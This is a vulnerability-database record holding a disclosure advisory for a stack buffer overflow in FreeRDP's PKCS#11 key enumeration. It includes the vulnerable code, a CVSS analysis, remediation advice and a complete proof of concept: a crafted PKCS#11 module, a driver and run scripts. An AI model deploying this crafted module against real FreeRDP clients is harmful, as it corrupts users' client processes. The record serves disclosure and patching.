{"schema":"threatline.record/2","record":{"id":"GHSA-g8jw-gv54-r94p","aliases":["GHSA-g8jw-gv54-r94p"],"summary":"Stack-based Buffer Overflow and Out-of-bounds Write in FreeRDP","details":"## Executive Summary\r\n\r\nOn Unix builds with PKCS#11 support, Mallory can present a malicious or compromised token/module whose public key and matching certificate use a 55- to 64-byte `CKA_ID`. FreeRDP accepts that identifier and expands each byte to two hexadecimal characters in a fixed 128-byte stack buffer. On a 64-bit target, 54 bytes fit, while 55 bytes cause the terminating NUL from `snprintf` to cross the buffer boundary. This is a physical/local token-provider boundary; it is not a remote RDP-server attack, credential theft, or a demonstrated code-execution primitive.\r\n\r\nI reviewed FreeRDP 3.0.0, 3.31.1, and current `master`, built and ran the real WinPR PKCS#11 enumeration path under AddressSanitizer, and used a disposable PKCS#11 module with a matched public key/certificate pair. The 54-byte control enumerated cleanly. The 55- and 64-byte cases produced a stack-buffer-overflow in production `wprintKeyName()`. The implementation first appears in the verified 3.0.0 release, remains present in 3.31.1 and `master` at `193fe551`, and has no known fixed release. FreeRDP 2.11.7 does not contain this provider implementation.\r\n\r\n## Background\r\n\r\nWinPR implements Microsoft's NCrypt smart-card provider over PKCS#11. When FreeRDP enumerates a token, the provider reads a public key's `CKA_ID`, finds a certificate with the same identifier, and creates a printable NCrypt key name containing the slot ID and key ID in hexadecimal.\r\n\r\nThe tested configuration was a 64-bit Unix build with `WITH_PKCS11=ON` and AddressSanitizer enabled. The disposable PKCS#11 2.40 module exposes one token, one RSA public key, and one matching X.509 certificate object. OASIS defines `CKA_ID` as a byte array and does not impose a general 54-byte limit. Particular devices may impose smaller limits, but FreeRDP's provider accepts identifiers up to its 64-byte internal array.\r\n\r\nThe expected behavior is straightforward: an identifier that fits FreeRDP's documented internal limit must either be represented safely or rejected before formatting. A provider-controlled attribute must not overwrite the client's stack.\r\n\r\n## Vulnerability Details\r\n\r\nIn `winpr/libwinpr/ncrypt/ncrypt_pkcs11.c`, `collect_keys()` stores the PKCS#11 attribute length and allows the 64-byte internal identifier. Current `master` contains this explicit guard:\r\n\r\n```c\r\nkey->idLen = key_or_certAttrs[0].ulValueLen;\r\nif (key->idLen > sizeof(key->id))\r\n{\r\n\tWLog_ERR(TAG, \"error getting attributes, idLen %lu > %\" PRIuz, key->idLen,\r\n\t         sizeof(key->id));\r\n\tcontinue;\r\n}\r\n```\r\n\r\nAfter locating a certificate with the same `CKA_ID`, `NCryptP11EnumKeys()` calls `wprintKeyName()` with the accepted length. The destination `NCryptKeyName` allocation is dynamically sized, but the formatter first uses a fixed intermediate buffer:\r\n\r\n```c\r\nstatic void wprintKeyName(LPWSTR str, CK_SLOT_ID slotId, CK_BYTE* id, CK_ULONG idLen)\r\n{\r\n\tchar asciiName[128] = WINPR_C_ARRAY_INIT;\r\n\tchar* ptr = asciiName;\r\n\r\n\t*ptr = '\\\\';\r\n\tptr++;\r\n\r\n\tconst CK_BYTE* bytePtr = ((CK_BYTE*)&slotId);\r\n\tfor (CK_ULONG i = 0; i < sizeof(slotId); i++, bytePtr++, ptr += 2)\r\n\t\t(void)snprintf(ptr, 3, \"%.2x\", *bytePtr);\r\n\r\n\t*ptr = '\\\\';\r\n\tptr++;\r\n\r\n\tfor (CK_ULONG i = 0; i < idLen; i++, id++, ptr += 2)\r\n\t\t(void)snprintf(ptr, 3, \"%.2x\", *id);\r\n```\r\n\r\nOn LP64, the string needs `1 + 2*8 + 1 + 2*idLen + 1` bytes including the final NUL. A 54-byte ID needs 127 bytes. A 55-byte ID needs 129 bytes, so the final three-byte `snprintf` begins at offset 126 and writes its NUL at offset 128, one byte beyond `asciiName`. Longer accepted IDs continue writing hexadecimal digits and NUL terminators beyond the array.\r\n\r\nThe code entered with the public `d4020e232` change that implemented the NCrypt provider. FreeRDP 3.0.0 contains the fixed 128-byte buffer and unbounded loop; 2.11.7 does not contain the file. Direct inspection confirms the same root in 3.31.1 and current `master`. No matching public issue, advisory, fix, or backport was found. Other published FreeRDP smart-card advisories concern different ATR, IRP, cache, or lifetime roots.\r\n\r\n## Exploitability Analysis\r\n\r\nThe demonstrated primitive is a stack out-of-bounds write in the FreeRDP client process during key enumeration. Mallory must control a PKCS#11 token or module visible to the user and provide a public key plus matching certificate with a 55- to 64-byte identifier. Enumeration is sufficient; signing, PIN entry, and an active RDP session are not needed to reach the formatter.\r\n\r\nThe negative control matters because it exercises the same module loading, slot enumeration, object search, attribute retrieval, certificate match, and NCrypt formatting path with only the identifier length changed. At 54 bytes, enumeration returns a 126-character key name and exits normally. At 55 and 64 bytes, AddressSanitizer reports `WRITE of size 3` in `wprintKeyName()`, called by `NCryptP11EnumKeys()` and public `NCryptEnumKeys()`.\r\n\r\nThe observed impact is client termination under AddressSanitizer and stack corruption without it. The overwritten bytes are constrained to lowercase hexadecimal characters and NUL terminators. No reliable control-flow hijack, confidentiality loss, integrity impact, privilege escalation, or remote trigger was demonstrated. A conservative CVSS 3.1 assessment is `CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` (4.2, Medium).\r\n\r\n## Proof of Concept\r\n\r\nThe PoC is intentionally limited to a disposable process. It does not contact an RDP server, write token state, or access a physical smart card. The positive cases crash the enumeration process under AddressSanitizer.\r\n\r\nBuild FreeRDP with PKCS#11 and sanitizers, then run the packaged boundary test:\r\n\r\n```sh\r\ncmake -S ../FreeRDP -B ../FreeRDP/build-pkcs11-asan \\\r\n  -DCMAKE_BUILD_TYPE=Debug -DWITH_PKCS11=ON \\\r\n  -DCMAKE_C_FLAGS='-O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer' \\\r\n  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'\r\ncmake --build ../FreeRDP/build-pkcs11-asan -j2\r\ncd poc\r\n./run.sh ../../FreeRDP ../../FreeRDP/build-pkcs11-asan\r\n```\r\n\r\nThe verified run printed:\r\n\r\n```text\r\n54-byte control: rc=0\r\n55-byte positive: rc=134\r\n64-byte positive: rc=134\r\nPASS: control enumerated cleanly; both boundary positives reached the production overflow.\r\n```\r\n\r\nThe runner also requires both positive logs to contain `AddressSanitizer: stack-buffer-overflow` and `wprintKeyName`, preventing an unrelated nonzero exit from being accepted.\r\n\r\n### `poc/minimal_token.c`\r\n\r\n<!-- BEGIN FILE: poc/minimal_token.c -->\r\n```c\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include \"pkcs11-headers/pkcs11.h\"\r\n\r\nstatic CK_OBJECT_CLASS find_class = CKO_PUBLIC_KEY;\r\nstatic CK_BBOOL find_returned = CK_FALSE;\r\n\r\nstatic CK_ULONG token_id_len(void)\r\n{\r\n\tconst char* value = getenv(\"P11_ID_LEN\");\r\n\tconst unsigned long parsed = value ? strtoul(value, NULL, 10) : 55;\r\n\treturn (parsed <= 64) ? (CK_ULONG)parsed : 64;\r\n}\r\n\r\nstatic CK_RV token_initialize(void* args)\r\n{\r\n\t(void)args;\r\n\treturn CKR_OK;\r\n}\r\n\r\nstatic CK_RV token_finalize(void* reserved)\r\n{\r\n\t(void)reserved;\r\n\treturn CKR_OK;\r\n}\r\n\r\nstatic CK_RV token_get_slot_list(CK_BBOOL token_present, CK_SLOT_ID* slots, CK_ULONG* count)\r\n{\r\n\t(void)token_present;\r\n\tif (!count)\r\n\t\treturn CKR_ARGUMENTS_BAD;\r\n\tif (!slots)\r\n\t{\r\n\t\t*count = 1;\r\n\t\treturn CKR_OK;\r\n\t}\r\n\tif (*count < 1)\r\n\t{\r\n\t\t*count = 1;\r\n\t\treturn CKR_BUFFER_TOO_SMALL;\r\n\t}\r\n\tslots[0] = 1;\r\n\t*count = 1;\r\n\treturn CKR_OK;\r\n}\r\n\r\nstatic CK_RV token_get_slot_info(CK_SLOT_ID slot, CK_SLOT_INFO* info)\r\n{\r\n\tif ((slot != 1) || !info)\r\n\t\treturn CKR_SLOT_ID_INVALID;\r\n\tmemset(info, ' ', sizeof(*info));\r\n\tmemcpy(info->slotDescription, \"Opensec test token\", 18);\r\n\tmemcpy(info->manufacturerID, \"Opensec\", 7);\r\n\tinfo->flags = CKF_TOKEN_PRESENT;\r\n\tinfo->hardwareVersion.major = 1;\r\n\tinfo->firmwareVersion.major = 1;\r\n\treturn CKR_OK;\r\n}\r\n\r\nstatic CK_RV token_get_token_info(CK_SLOT_ID slot, CK_TOKEN_INFO* info)\r\n{\r\n\tif ((slot != 1) || !info)\r\n\t\treturn CKR_SLOT_ID_INVALID;\r\n\tmemset(info, ' ', sizeof(*info));\r\n\tmemcpy(info->label, \"Boundary ID token\", 17);\r\n\tmemcpy(info->manufacturerID, \"Opensec\", 7);\r\n\tmemcpy(info->model, \"TEST\", 4);\r\n\tmemcpy(info->serialNumber, \"0000000000000001\", 16);\r\n\tinfo->flags = CKF_TOKEN_INITIALIZED;\r\n\tinfo->hardwareVersion.major = 1;\r\n\tinfo->firmwareVersion.major = 1;\r\n\treturn CKR_OK;\r\n}\r\n\r\nstatic CK_RV token_open_session(CK_SLOT_ID slot, CK_FLAGS flags, void* app,\r\n                                CK_NOTIFY notify, CK_SESSION_HANDLE* session)\r\n{\r\n\t(void)flags;\r\n\t(void)app;\r\n\t(void)notify;\r\n\tif ((slot != 1) || !session)\r\n\t\treturn CKR_SLOT_ID_INVALID;\r\n\t*session = 1;\r\n\treturn CKR_OK;\r\n}\r\n\r\nstatic CK_RV token_close_session(CK_SESSION_HANDLE session)\r\n{\r\n\treturn session == 1 ? CKR_OK : CKR_SESSION_HANDLE_INVALID;\r\n}\r\n\r\nstatic CK_RV token_find_init(CK_SESSION_HANDLE session, CK_ATTRIBUTE* attrs, CK_ULONG count)\r\n{\r\n\tif (session != 1)\r\n\t\treturn CKR_SESSION_HANDLE_INVALID;\r\n\tfind_class = CKO_PUBLIC_KEY;\r\n\tfind_returned = CK_FALSE;\r\n\tfor (CK_ULONG i = 0; i < count; i++)\r\n\t{\r\n\t\tif ((attrs[i].type == CKA_CLASS) && attrs[i].pValue &&\r\n\t\t    (attrs[i].ulValueLen == sizeof(CK_OBJECT_CLASS)))\r\n\t\t\tmemcpy(&find_class, attrs[i].pValue, sizeof(find_class));\r\n\t}\r\n\treturn CKR_OK;\r\n}\r\n\r\nstatic CK_RV token_find(CK_SESSION_HANDLE session, CK_OBJECT_HANDLE* objects,\r\n                        CK_ULONG max_objects, CK_ULONG* count)\r\n{\r\n\tif ((session != 1) || !objects || !count)\r\n\t\treturn CKR_ARGUMENTS_BAD;\r\n\tif (find_returned || (max_objects == 0))\r\n\t{\r\n\t\t*count = 0;\r\n\t\treturn CKR_OK;\r\n\t}\r\n\tobjects[0] = (find_class == CKO_CERTIFICATE) ? 2 : 1;\r\n\t*count = 1;\r\n\tfind_returned = CK_TRUE;\r\n\treturn CKR_OK;\r\n}\r\n\r\nstatic CK_RV token_find_final(CK_SESSION_HANDLE session)\r\n{\r\n\treturn session == 1 ? CKR_OK : CKR_SESSION_HANDLE_INVALID;\r\n}\r\n\r\nstatic CK_RV copy_attribute(CK_ATTRIBUTE* attr, const void* value, CK_ULONG length)\r\n{\r\n\tif (!attr->pValue)\r\n\t{\r\n\t\tattr->ulValueLen = length;\r\n\t\treturn CKR_OK;\r\n\t}\r\n\tif (attr->ulValueLen < length)\r\n\t{\r\n\t\tattr->ulValueLen = length;\r\n\t\treturn CKR_BUFFER_TOO_SMALL;\r\n\t}\r\n\tmemcpy(attr->pValue, value, length);\r\n\tattr->ulValueLen = length;\r\n\treturn CKR_OK;\r\n}\r\n\r\nstatic CK_RV token_get_attribute(CK_SESSION_HANDLE session, CK_OBJECT_HANDLE object,\r\n                                 CK_ATTRIBUTE* attrs, CK_ULONG count)\r\n{\r\n\tstatic const CK_OBJECT_CLASS public_class = CKO_PUBLIC_KEY;\r\n\tstatic const CK_KEY_TYPE rsa_type = CKK_RSA;\r\n\tstatic const char label[] = \"boundary-key\";\r\n\tCK_BYTE id[64];\r\n\tCK_RV result = CKR_OK;\r\n\tif ((session != 1) || (object != 1) || !attrs)\r\n\t\treturn CKR_OBJECT_HANDLE_INVALID;\r\n\tfor (size_t i = 0; i < sizeof(id); i++)\r\n\t\tid[i] = (CK_BYTE)(0x40u + (i & 0x1fu));\r\n\r\n\tfor (CK_ULONG i = 0; i < count; i++)\r\n\t{\r\n\t\tCK_RV rv = CKR_ATTRIBUTE_TYPE_INVALID;\r\n\t\tswitch (attrs[i].type)\r\n\t\t{\r\n\t\t\tcase CKA_ID:\r\n\t\t\t\trv = copy_attribute(&attrs[i], id, token_id_len());\r\n\t\t\t\tbreak;\r\n\t\t\tcase CKA_CLASS:\r\n\t\t\t\trv = copy_attribute(&attrs[i], &public_class, sizeof(public_class));\r\n\t\t\t\tbreak;\r\n\t\t\tcase CKA_LABEL:\r\n\t\t\t\trv = copy_attribute(&attrs[i], label, sizeof(label) - 1);\r\n\t\t\t\tbreak;\r\n\t\t\tcase CKA_KEY_TYPE:\r\n\t\t\t\trv = copy_attribute(&attrs[i], &rsa_type, sizeof(rsa_type));\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\tattrs[i].ulValueLen = CK_UNAVAILABLE_INFORMATION;\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t\tif (rv != CKR_OK)\r\n\t\t\tresult = rv;\r\n\t}\r\n\treturn result;\r\n}\r\n\r\nstatic CK_FUNCTION_LIST functions = {\r\n\t.version = { 2, 40 },\r\n\t.C_Initialize = token_initialize,\r\n\t.C_Finalize = token_finalize,\r\n\t.C_GetSlotList = token_get_slot_list,\r\n\t.C_GetSlotInfo = token_get_slot_info,\r\n\t.C_GetTokenInfo = token_get_token_info,\r\n\t.C_OpenSession = token_open_session,\r\n\t.C_CloseSession = token_close_session,\r\n\t.C_GetAttributeValue = token_get_attribute,\r\n\t.C_FindObjectsInit = token_find_init,\r\n\t.C_FindObjects = token_find,\r\n\t.C_FindObjectsFinal = token_find_final,\r\n};\r\n\r\nCK_RV C_GetFunctionList(CK_FUNCTION_LIST** list)\r\n{\r\n\tif (!list)\r\n\t\treturn CKR_ARGUMENTS_BAD;\r\n\tfunctions.C_GetFunctionList = C_GetFunctionList;\r\n\t*list = &functions;\r\n\treturn CKR_OK;\r\n}\r\n```\r\n<!-- END FILE: poc/minimal_token.c -->\r\n\r\n### `poc/enumerate.c`\r\n\r\n<!-- BEGIN FILE: poc/enumerate.c -->\r\n```c\r\n#include <stdio.h>\r\n\r\n#include <winpr/crt.h>\r\n#include <winpr/error.h>\r\n#include <winpr/ncrypt.h>\r\n#include <winpr/string.h>\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (argc != 2)\r\n\t\treturn 2;\r\n\tLPCSTR modules[] = { argv[1], NULL };\r\n\tNCRYPT_PROV_HANDLE provider = 0;\r\n\tPVOID state = NULL;\r\n\tNCryptKeyName* key = NULL;\r\n\tSECURITY_STATUS status = winpr_NCryptOpenStorageProviderEx(\r\n\t    &provider, MS_SMART_CARD_KEY_STORAGE_PROVIDER, 0, modules);\r\n\tif (status != ERROR_SUCCESS)\r\n\t{\r\n\t\tfprintf(stderr, \"open status=0x%08lx\\n\", (unsigned long)status);\r\n\t\treturn 3;\r\n\t}\r\n\r\n\tstatus = NCryptEnumKeys(provider, NULL, &key, &state, NCRYPT_SILENT_FLAG);\r\n\tif (status == ERROR_SUCCESS)\r\n\t{\r\n\t\tchar name[512] = { 0 };\r\n\t\tif (ConvertWCharToUtf8(key->pszName, name, sizeof(name)) < 0)\r\n\t\t\treturn 4;\r\n\t\tfprintf(stderr, \"enumerated name-length=%zu name=%s\\n\", strlen(name), name);\r\n\t\tNCryptFreeBuffer(key);\r\n\t}\r\n\telse\r\n\t\tfprintf(stderr, \"enum status=0x%08lx\\n\", (unsigned long)status);\r\n\r\n\tNCryptFreeBuffer(state);\r\n\tNCryptFreeObject((NCRYPT_HANDLE)provider);\r\n\treturn status == ERROR_SUCCESS ? 0 : 5;\r\n}\r\n```\r\n<!-- END FILE: poc/enumerate.c -->\r\n\r\n### `poc/Makefile`\r\n\r\n<!-- BEGIN FILE: poc/Makefile -->\r\n```makefile\r\nCC ?= cc\r\nFREERDP_SOURCE ?=\r\nFREERDP_BUILD ?=\r\nSANITIZE_FLAGS ?= -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer\r\n\r\nifeq ($(strip $(FREERDP_SOURCE)),)\r\n$(error Set FREERDP_SOURCE to the FreeRDP source directory)\r\nendif\r\nifeq ($(strip $(FREERDP_BUILD)),)\r\n$(error Set FREERDP_BUILD to its sanitizer-enabled build directory)\r\nendif\r\n\r\nWINPR_LIBDIR := $(FREERDP_BUILD)/winpr/libwinpr\r\nINCLUDES := -I$(FREERDP_SOURCE)/winpr/include -I$(FREERDP_BUILD)/winpr/include\r\n\r\n.PHONY: all clean\r\nall: minimal_token.so enumerate\r\n\r\nminimal_token.so: minimal_token.c\r\n\t$(CC) -O2 -g -fPIC -shared -I$(FREERDP_SOURCE)/winpr/libwinpr/ncrypt $< -o $@\r\n\r\nenumerate: enumerate.c\r\n\t$(CC) $(SANITIZE_FLAGS) $(INCLUDES) $< -o $@ -L$(WINPR_LIBDIR) -lwinpr3\r\n\r\nclean:\r\n\trm -f minimal_token.so enumerate control.stdout control.stderr positive-55.stdout positive-55.stderr positive-64.stdout positive-64.stderr\r\n```\r\n<!-- END FILE: poc/Makefile -->\r\n\r\n### `poc/run.sh`\r\n\r\n<!-- BEGIN FILE: poc/run.sh -->\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\nif [ \"$#\" -ne 2 ]; then\r\n\techo \"usage: $0 FREE_RDP_SOURCE FREE_RDP_ASAN_BUILD\" >&2\r\n\texit 2\r\nfi\r\n\r\nsource_dir=$1\r\nbuild_dir=$2\r\nscript_dir=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\ncd \"$script_dir\"\r\n\r\nmake clean all FREERDP_SOURCE=\"$source_dir\" FREERDP_BUILD=\"$build_dir\"\r\nlibdir=$build_dir/winpr/libwinpr\r\nmodule=$script_dir/minimal_token.so\r\ndriver=$script_dir/enumerate\r\nasan_options=detect_leaks=0:halt_on_error=1:abort_on_error=1\r\n\r\nset +e\r\nP11_ID_LEN=54 LD_LIBRARY_PATH=\"$libdir${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\" \\\r\n\tASAN_OPTIONS=\"$asan_options\" \"$driver\" \"$module\" >control.stdout 2>control.stderr\r\ncontrol_rc=$?\r\nP11_ID_LEN=55 LD_LIBRARY_PATH=\"$libdir${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\" \\\r\n\tASAN_OPTIONS=\"$asan_options\" \"$driver\" \"$module\" >positive-55.stdout 2>positive-55.stderr\r\npositive_55_rc=$?\r\nP11_ID_LEN=64 LD_LIBRARY_PATH=\"$libdir${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\" \\\r\n\tASAN_OPTIONS=\"$asan_options\" \"$driver\" \"$module\" >positive-64.stdout 2>positive-64.stderr\r\npositive_64_rc=$?\r\nset -e\r\n\r\nprintf '54-byte control: rc=%s\\n' \"$control_rc\"\r\nprintf '55-byte positive: rc=%s\\n' \"$positive_55_rc\"\r\nprintf '64-byte positive: rc=%s\\n' \"$positive_64_rc\"\r\n\r\ntest \"$control_rc\" -eq 0\r\ngrep -q 'enumerated name-length=126' control.stderr\r\ntest \"$positive_55_rc\" -ne 0\r\ntest \"$positive_64_rc\" -ne 0\r\ngrep -q 'AddressSanitizer: stack-buffer-overflow' positive-55.stderr\r\ngrep -q 'wprintKeyName' positive-55.stderr\r\ngrep -q 'AddressSanitizer: stack-buffer-overflow' positive-64.stderr\r\ngrep -q 'wprintKeyName' positive-64.stderr\r\n\r\necho 'PASS: control enumerated cleanly; both boundary positives reached the production overflow.'\r\n```\r\n<!-- END FILE: poc/run.sh -->\r\n\r\n## Remediation\r\n\r\nRemove the fixed 128-byte intermediate or size it from the maximum accepted identifier. On LP64, the current 64-byte maximum requires 147 bytes including separators and the NUL. Each formatting operation should track remaining capacity and fail rather than advancing `ptr` after truncation.\r\n\r\nThe existing dynamic `NCryptKeyName` allocation already calculates the encoded identifier length, so the cleanest fix is to format directly into a correctly sized temporary/destination with checked operations. If the fixed buffer is retained, use the same checked size calculation as the destination allocation and pass the true remaining capacity to every write.\r\n\r\nAdd regression coverage through the public NCrypt enumeration API with matched key/certificate objects at 54, 55, and 64 bytes on LP64. The 54-byte case must remain valid; the two longer cases must enumerate safely or be rejected before formatting. Include a 32-bit build because `sizeof(CK_SLOT_ID)` changes the boundary.\r\n\r\n## Summary\r\n\r\nFreeRDP 3.0.0 through the verified 3.31.1 release, as well as current unpatched `master`, format provider-controlled PKCS#11 key IDs into an undersized stack buffer. A real provider enumeration cleanly handles 54 bytes and triggers production stack corruption at 55 and 64 bytes. The demonstrated security consequence is availability loss in the enumerating client under the stated local/physical token prerequisite; stronger confidentiality, integrity, or execution claims are not supported.\r\n\r\nCredit: Opensec Intelligence.\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-g8jw-gv54-r94p","source_modified_at":"2026-09-29T08:42:04Z","fetched_at":"2026-10-23T21:10:45.942435Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.0.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-g8jw-gv54-r94p","source_modified_at":"2026-09-29T08:42:04Z","fetched_at":"2026-10-23T21:10:45.942435Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":4.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T08:42:04Z","modified_at":"2026-09-29T08:42:04Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-g8jw-gv54-r94p","fetched_at":"2026-10-23T21:10:45.942435Z","source_modified_at":"2026-09-29T08:42:04Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T08:42:04Z","content_hash":"283f2cbcc72b1cc6f8b889d79bea9ec1b1db325cad1b39a8cc544f0eb6f871cd"}}
